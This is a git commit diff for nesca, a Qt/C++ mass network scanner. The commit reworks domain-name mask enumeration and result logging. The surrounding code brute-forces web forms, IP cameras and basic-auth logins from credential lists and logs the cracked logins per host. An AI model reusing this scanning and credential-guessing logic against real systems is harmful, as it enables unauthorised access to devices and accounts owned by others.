first nesca commit

This commit is contained in:
do_not_scan 2014-08-11 17:53:50 -04:00
parent 89519fccde
commit 14028ec84f
5 changed files with 212 additions and 252 deletions

View File

@ -661,9 +661,11 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h
QTextCodec *codec;
strcat(msg, "<a href=\"http://");
strcat(msg, ip);
strcat(msg, ":");
strcat(msg, port);
strcat(msg, "/\"><span style=\"color: #a1a1a1;\">");
strcat(msg, ip);
strcat(msg, ":");
strcat(msg, port);
strcat(msg, "</span></a>");
@ -711,10 +713,15 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h
};
}
else strcat(log, " ");
strcat(log, ":: <font color=MediumSeaGreen>");
strcat(log, "<a href=\"http://");
strcat(log, ip);
strcat(log, ":");
strcat(log, port);
strcat(log, "</font>; Received: <font color=SteelBlue>");
strcat(log, "\"><font color=MediumSeaGreen>");
strcat(log, ip);
strcat(log, ":");
strcat(log, port);
strcat(log, "</font></a>; Received: <font color=SteelBlue>");
strcat(log, std::to_string((long double)recd).c_str());
strcat(log, "</font>");
@ -1087,26 +1094,29 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
if(inputVec.size() > 0)
{
char tport[16] = {0};
strcpy(tport, itoa(port, b, 10));
if(strlen(userVal) != 0 && strlen(passVal) != 0)
{
Connector con;
lopaStr lps = con._WFLobby(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal);
char tport[16] = {0};
strcpy(tport, itoa(port, b, 10));
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
{
_specFillerWF(hl, ip, tport, title, lps.login, lps.pass, flag);
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, lps.login, lps.pass, comment, cp, "Web Form");
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, lps.login, lps.pass, comment, cp, tclass);
putInFile(flag, ip, tport, recd, title, hl, cp);
};
}
else
{
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find user/pass field.");
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "?", "?", "Unknown webform", cp, tclass);
putInFile(flag, ip, tport, recd, title, hl, cp);
};
};
OnLiner = 0;
};
void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *tclass, char *cp, int recd, char *SPEC)
{
@ -1126,7 +1136,6 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag,
_specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag);
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
};
};
void _specBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *data)
@ -1339,8 +1348,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
char cp[32] = {0};
strcpy(cp, "utf-8");
char port[32] = {0};
strcpy(port, ":");
strcat(port, itoa(p, b, 10));
strcpy(port, itoa(p, b, 10));
int flag = 0;
flag = ContentFilter(buffcpy, p, ip);

View File

@ -457,7 +457,7 @@ void SetValidators()
ui->iptoLine_value_2->setValidator(validator);
ui->iptoLine_value_3->setValidator(validator);
validator = new QRegExpValidator(QRegExp("(\\w|-|\\.|\\$)+"), NULL);
validator = new QRegExpValidator(QRegExp("(\\w|-|\\.|\\[|\\])+"), NULL);
ui->lineEditStartIPDNS->setValidator(validator);
validator = new QRegExpValidator(QRegExp("(\\w|-|\\.)+((\\w|-|\\.)+)+"), NULL);
@ -2925,28 +2925,6 @@ void RestoreSession()
}
else if(gMode == 1)
{
dnsVec.clear();
FILE *f = fopen("dnsbackup.lst", "r");
char curDNS[256] = {0};
int counter = 0;
if(f != NULL)
{
stt->doEmitionYellowFoundData("Loading DNS-range...");
while(fgets(curDNS, 256, f) != NULL)
{
if(strcmp(curDNS, "") == 0 || strcmp(curDNS, " ") == 0 || strcmp(curDNS, "\r\n") == 0 || strcmp(curDNS, "\n") == 0)
{
ZeroMemory(curDNS, sizeof(curDNS));
continue;
};
++counter;
if(curDNS[strlen(curDNS) - 1] == '\n') curDNS[strlen(curDNS) - 1] = '\0';
dnsVec.push_back(std::string(curDNS));
ZeroMemory(curDNS, 256);
};
stt->doEmitionYellowFoundData("DNS-range loaded (" + QString::number(counter) + " domains)");
ui->lineEditStartIPDNS->setText(QString(lex));
lex = strtok(NULL, " ");
strcpy(gFirstDom, lex);
@ -2957,8 +2935,6 @@ void RestoreSession()
ui->lineILVL->setText(QString(gFirstDom));
ui->tabMainWidget->setCurrentIndex(1);
ui->startScanButton_4->setText("RESTORE");
fclose(f);
};
}
else if(gMode == -1)
{

View File

@ -593,7 +593,7 @@
<string notr="true">color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);</string>
</property>
<property name="text">
<string>$a$a$a$a</string>
<string>[09][az][0-]</string>
</property>
<property name="maxLength">
<number>128</number>
@ -602,7 +602,7 @@
<set>Qt::AlignCenter</set>
</property>
<property name="placeholderText">
<string>Mask here ($a$a$a$a)</string>
<string>[09][az][0-][09][az][0-]</string>
</property>
</widget>
<widget class="QPushButton" name="startScanButton_4">

View File

@ -2,44 +2,37 @@
#include "STh.h"
#include "resource.h"
int gC = 0;
static int portArr[65536] = {0};
char endIP2[128] = {0};
QJsonArray *jsonArr = new QJsonArray();
static int portArr[65536] = {0};
int gC = 0;
int gTimeOut = 3;
int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0;
int AnomC1 = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0, WF = 0, offlines = 0, ssh = 0;
volatile int BA = 0;
int GlobalWSAErr = 0;
int GlobalNegativeSize = 0;
volatile int BrutingThrds = 0;
int ovrlIPs = 0, ipCounter = 0;
int mode;
int found = 0, fillerFlag = 0, indexIP = 1;
int gMaxSize = 65536;
int gMode;
int OnLiner = 0;
int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
int ipsstart[4], ipsend[4], ipsstartfl[8192][4], ipsendfl[8192][4], starterIP[8192][4],
startNum, endNum, overallPorts, flCounter, octet[4];
double ips = 0;
char top_level_domain[128] = {0};
char startM[64] = {0}, endM[64] = {0};
char endIP2[128] = {0};
char **GlobalNegatives = 0;
char **loginLst, **passLst;
char **wfLoginLst, **wfPassLst;
char **sshlpLst;
double ips = 0;
volatile int cons = 0;
int ovrlIPs = 0, ipCounter = 0;
int mode;
volatile int threads = 20;
unsigned long int gTargets = 0, gTargetsOverall = 1;
int found = 0, fillerFlag = 0, indexIP = 1;
int gMaxSize = 65536;
char des1[64] = {0}, res[32]= {0};
char saveStartIP[128] = {0};
char saveEndIP[128] = {0};
volatile int gThreads;
int gMode;
char gRange[128] = {0};
char gFirstDom[128] = {0};
char gPorts[65536] = {0};
int OnLiner = 0;
int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
unsigned long int targets;
int ipsstart[4], ipsend[4], ipsstartfl[8192][4], ipsendfl[8192][4], starterIP[8192][4],
startNum, endNum, overallPorts, flCounter, octet[4];
char metaIPDNS[256] = {0};
char metaRange[256] = {0};
char metaPercent[256] = {0};
@ -47,8 +40,15 @@ char metaIPS[256] = {0};
char metaTargets[256] = {0};
char metaETA[256] = {0};
char metaOffline[256] = {0};
volatile bool ConnLocked = false;
bool ErrLogFirstTime = true;
volatile bool ConnLocked = false;
unsigned long long gTargets = 0, gTargetsOverall = 1, targets;
volatile int gThreads;
volatile int cons = 0;
volatile int BA = 0;
volatile int BrutingThrds = 0;
volatile int threads = 20;
void SaveErrorLog(char *sender, char *MesSent, char *ReplRecv)
{
FILE *errFile = fopen("./logs/ns-track_errors.html", "r");
@ -161,29 +161,6 @@ void ConDec()
stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads));
#pragma endregion
};
std::vector<std::string> dnsVec;
std::string dnsVecBU;
void _saveDNSMode()
{
if(dnsVecBU.size() != 0)
{
FILE *dnsFile = fopen("dnsbackup.lst", "w");
if(dnsFile != NULL)
{
for(int i = std::distance(dnsVec.begin(), std::find(dnsVec.begin(), dnsVec.end(), dnsVecBU)); i < dnsVec.size(); ++i)
{
fputs(dnsVec[i].c_str(), dnsFile);
fputc('\n', dnsFile);
};
fclose(dnsFile);
}
else
{
stt->doEmitionRedFoundData("[!!!] Cant save DNS-range.");
};
};
};
void _SaveBackupToFile()
{
char saveStr[512] = {0};
@ -193,18 +170,8 @@ void _SaveBackupToFile()
if(gMode == 0 || gMode == 1)
{
if(gMode == 1)
{
_saveDNSMode();
if(strstr(endIP2, "RESTORED_SESSION") == NULL)
{
strcpy(endStr, "[RESTORED_SESSION(");
strcat(endStr, endIP2);
strcat(endStr, ")]");
}
else
{
strcpy(endStr, endIP2);
};
}
else
{
@ -2013,9 +1980,120 @@ int ParseArgs(int argc, char *argv[])
return 0;
};
char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_', '-'};
sockstruct *st = NULL;
char iip[256] = {0};
int _getPos(char l)
{
for(int i = 0; i < 38; ++i)
{
if(l == charAll[i]) return i;
};
return -1;
};
int _getChunkCount(char *data)
{
int firstPos = _getPos(data[1]);
int secondPos = _getPos(data[2]);
return secondPos - firstPos + 1;
};
int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder)
{
if(strstr(mask, "[") != NULL)
{
char maskEnd[1024] = {0};
char maskRes[1024] = {0};
char *ptr1 = strstr(mask, "[");
char *ptr2 = strstr(ptr1, "]");
int sz = ptr2 - ptr1;
char chunk[8] = {0};
strncpy(chunk, ptr1, sz + 1);
int firstPos = _getPos(chunk[1]);
int secondPos = _getPos(chunk[2]);
if(firstPos > secondPos)
{
stt->doEmitionRedFoundData("Error at mask (Wrong letter sequence)");
return -1;
};
char maskStart[1024] = {0};
int startPosition = strstr(mask, "[") - mask;
strncpy(maskStart, mask, startPosition);
char maskEntry[1024] = {0};
if(saveMaskEnder != NULL)
{
int startSavePosition = strstr(saveMaskEnder, "[") - saveMaskEnder;
strncpy(maskEntry, saveMaskEnder, startSavePosition);
};
int szMask = strlen(mask);
int szOffset = startPosition + 2;
if(szMask != szOffset) strcpy(maskEnd, strstr(mask, "]") + 1);
else
{
ZeroMemory(maskEnd, sizeof(maskEnd));
};
char maskSaver[128] = {0};
if(firstPos != -1 && secondPos != -1)
{
for(int i = firstPos; i <= secondPos; ++i)
{
if(globalScanFlag == false) break;
strcpy(maskSaver, saveMask);
strcat(maskSaver, maskEntry);
chunk[1] = charAll[i];
strcat(maskSaver, chunk);
strcpy(maskRes, maskStart);
maskRes[startPosition] = charAll[i];
strcat(maskRes, maskEnd);
if(_GetDNSFromMask(maskRes, maskSaver, maskEnd) == -1) return -1;
ZeroMemory(maskSaver, sizeof(maskSaver));
ZeroMemory(maskRes, sizeof(maskRes));
};
};
}
else
{
#pragma region DNS-SCAN
if(globalScanFlag == false) return 0;
strcpy(endIP2, saveMask);
st = new sockstruct();
ZeroMemory(st->argv, sizeof(st->argv));
ZeroMemory(iip, sizeof(iip));
while(cons >= gThreads) Sleep(300);
strcpy(iip, mask);
strcpy(saveStartIP, iip);
strcat(iip, top_level_domain);
++indexIP;
strcpy(st->argv, iip);
targetAndIPWriter(--gTargets, st->argv);
ConInc();
#if defined(WIN32)
if(globalScanFlag) _beginthread( (void(*)(void*))_connect, 0, st );
#else
if(globalScanFlag)
{
pthread_t thrc;
pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st );
};
#endif
Sleep(10);
#pragma endregion
};
};
int startScan(char* args)
{
dnsVecBU = "";
flCounter = 0;
PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0;
AnomC1 = 0, BA = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0, WF = 0, offlines = 0;
@ -2192,170 +2270,70 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
pthread_create(&thrtt, NULL, (void *(*)(void*))&_timer, NULL);
#endif
char *charAll[38] = {"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"-", "_", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n",
"o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
char *charDec[10] = {"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"};
char *charChar[26] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n",
"o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
char dataEntry[1024] = {0};
strcpy(dataEntry, saveEndIP);
char dataStart[1024] = {0};
char dataEnd[1024] = {0};
char dataRes[1024] = {0};
if(strstr(dataEntry, "RESTORED") == NULL)
{
dnsVec.clear();
std::vector<std::string> maskVec;
maskVec.push_back(dataEntry);
int index = 0;
int sz = strlen(saveEndIP);
if(strstr(dataEntry, "$") == NULL)
{
dnsVec.push_back(dataEntry);
}
else
{
for(int i = 0; i < sz; ++i)
{
if(dataEntry[i] == '$')
if(dataEntry[i] == '[')
{
++i;
if(dataEntry[i] != 'd' && dataEntry[i] != 'a' && dataEntry[i] != 'c')
for(int j = i + 1; j < i + 3; ++j)
{
QString errStr = "Error in dns-range at " + QString::number(i-1);
errStr += " (";
if((dataEntry[j] < '0' || dataEntry[j] > '9')
&& (dataEntry[j] < 'a' || dataEntry[j] > 'z')
&& dataEntry[j] != '_'
&& dataEntry[j] != '-'
)
{
QString errStr = "Error at mask (" + QString::number(j-1);
errStr += ") \"";
errStr += QString(dataEntry).mid(0, j-1);
errStr += "<u>";
errStr += QString(dataEntry).mid(j-1, j+1);
errStr += "</u>";
errStr += QString(dataEntry).mid(j+1, strlen(dataEntry));
errStr += "\"";
stt->doEmitionRedFoundData(errStr);
return -1;
};
};
i += 3;
}
else if(dataEntry[i] == ']')
{
QString errStr = "Error at mask (" + QString::number(i-1);
errStr += ") \"";
errStr += QString(dataEntry).mid(0, i-1);
errStr += "<u>";
errStr += QString(dataEntry).mid(i-1, i+1);
errStr += "</u>";
errStr += QString(dataEntry).mid(i+1, strlen(dataEntry));
errStr += ")";
errStr += "\"";
stt->doEmitionRedFoundData(errStr);
stt->doEmitionKillSttThread();
return -1;
};
};
};
stt->doEmitionYellowFoundData("Forming DNS-range, please wait...");
for(int vecIndex = 0; vecIndex < maskVec.size(); ++vecIndex)
unsigned long long dnsCounter = 1;
char *dnsPtr1 = strstr(dataEntry, "[");
while(dnsPtr1 != NULL)
{
strcpy(dataEntry, maskVec[vecIndex].c_str());
sz = strlen(dataEntry);
index = 0;
for(int i = 0; i < sz; ++i)
{
if(globalScanFlag == false) break;
if(dataEntry[i] == '$')
{
++i;
if(dataEntry[i] == 'd')
{
strncpy(dataEnd, dataEntry + i + 1, sz - i - 1);
for(int j = 0; j < 10; ++j)
{
strcpy(dataRes, dataStart);
strcat(dataRes, charDec[j]);
strcat(dataRes, dataEnd);
maskVec.push_back(dataRes);
if(strstr(dataRes, "$") == NULL) dnsVec.push_back(dataRes);
dnsCounter *= _getChunkCount(dnsPtr1);
dnsPtr1 = strstr(dnsPtr1 + 1, "[");
};
ZeroMemory(dataEntry, sizeof(dataEntry));
ZeroMemory(dataRes, sizeof(dataRes));
ZeroMemory(dataStart, sizeof(dataStart));
ZeroMemory(dataEnd, sizeof(dataEnd));
break;
}
else if(dataEntry[i] == 'a')
{
strncpy(dataEnd, dataEntry + i + 1, sz - i - 1);
for(int j = 0; j < 38; ++j)
{
strcpy(dataRes, dataStart);
strcat(dataRes, charAll[j]);
strcat(dataRes, dataEnd);
maskVec.push_back(dataRes);
if(strstr(dataRes, "$") == NULL) dnsVec.push_back(dataRes);
};
ZeroMemory(dataEntry, sizeof(dataEntry));
ZeroMemory(dataRes, sizeof(dataRes));
ZeroMemory(dataStart, sizeof(dataStart));
ZeroMemory(dataEnd, sizeof(dataEnd));
break;
}
else if(dataEntry[i] == 'c')
{
strncpy(dataEnd, dataEntry + i + 1, sz - i - 1);
for(int j = 0; j < 26; ++j)
{
strcpy(dataRes, dataStart);
strcat(dataRes, charChar[j]);
strcat(dataRes, dataEnd);
maskVec.push_back(dataRes);
if(strstr(dataRes, "$") == NULL) dnsVec.push_back(dataRes);
};
ZeroMemory(dataEntry, sizeof(dataEntry));
ZeroMemory(dataRes, sizeof(dataRes));
ZeroMemory(dataStart, sizeof(dataStart));
ZeroMemory(dataEnd, sizeof(dataEnd));
break;
};
};
dataStart[index++] = dataEntry[i];
};
};
stt->doEmitionYellowFoundData("DNS-range is ready!");
};
};
gTargets = dnsVec.size();
gTargets = dnsCounter;
gTargetsOverall = gTargets;
char iip[256] = {0};
stt->doEmitionYellowFoundData("Starting DNS-scan...");
stt->doEmitionChangeStatus("Scanning...");
sockstruct *st = NULL;
for(int i = 0; i < dnsVec.size(); ++i)
if(_GetDNSFromMask(dataEntry, "", dataEntry) == -1)
{
if(globalScanFlag == false) break;
st = new sockstruct();
ZeroMemory(st->argv, sizeof(st->argv));
ZeroMemory(iip, sizeof(iip));
while(cons >= gThreads) Sleep(300);
strcpy(iip, dnsVec[i].c_str());
strcpy(saveStartIP, iip);
strcat(iip, top_level_domain);
++indexIP;
strcpy(st->argv, iip);
targetAndIPWriter(--gTargets, st->argv);
dnsVecBU = dnsVec[i];
ConInc();
#if defined(WIN32)
if(globalScanFlag) _beginthread( (void(*)(void*))_connect, 0, st );
#else
if(globalScanFlag)
{
pthread_t thrc;
pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st );
};
#endif
Sleep(10);
stt->doEmitionRedFoundData("DNS-Mode error");
};
}
else if(gMode == -1)

View File

@ -94,7 +94,6 @@ extern string toLowerStr(const char *str);
extern QList<int> lstOfLabels;
extern bool ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag;
extern int AnomC1, Filt, Overl, Lowl, Alive, Activity, saved, Susp, WF, offlines, ssh;
extern volatile int BA;
extern int PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH;
extern bool connectedToIRC;
extern bool globalScanFlag;
@ -128,7 +127,6 @@ extern char ircProxyPort[8];
extern char ircNick[32];
extern int stopGlobalLog;
extern int GlobalNegativeSize;
extern volatile int BrutingThrds;
extern char* thrds, top_level_domain[128];
extern char startM[64], endM[64];
struct workerStruct
@ -137,23 +135,23 @@ struct workerStruct
bool giveMeMore;
char argv[MAX_ADDR_LEN];
};
extern char **GlobalNegatives;
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst;
extern int MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass;
extern double ips;
extern int ovrlIPs, ipCounter;
extern int mode;
extern volatile int threads;
extern unsigned long int gTargets, gTargetsOverall, targets;
extern unsigned long long gTargets, gTargetsOverall, targets;
extern volatile int BA;
extern volatile int cons;
extern volatile int BrutingThrds;
extern volatile int gThreads;
extern volatile int threads;
extern int found, fillerFlag, indexIP;
extern char timeLeft[64], tempRes[32], des1[64], res[32];
extern int gMaxSize;
extern char saveStartIP[128];
extern char saveEndIP[128];
extern volatile int gThreads;
extern int gMode;
extern char gRange[128];
extern char gFirstDom[128];
@ -165,7 +163,7 @@ extern int ipsstart[4], ipsend[4], ipsstartfl[8192][4], ipsendfl[8192][4], start
startNum, endNum, overallPorts, flCounter, octet[4];
extern std::vector<std::string> dnsVec;
//extern std::vector<std::string> dnsVec;
typedef struct ST{
char argv[2048];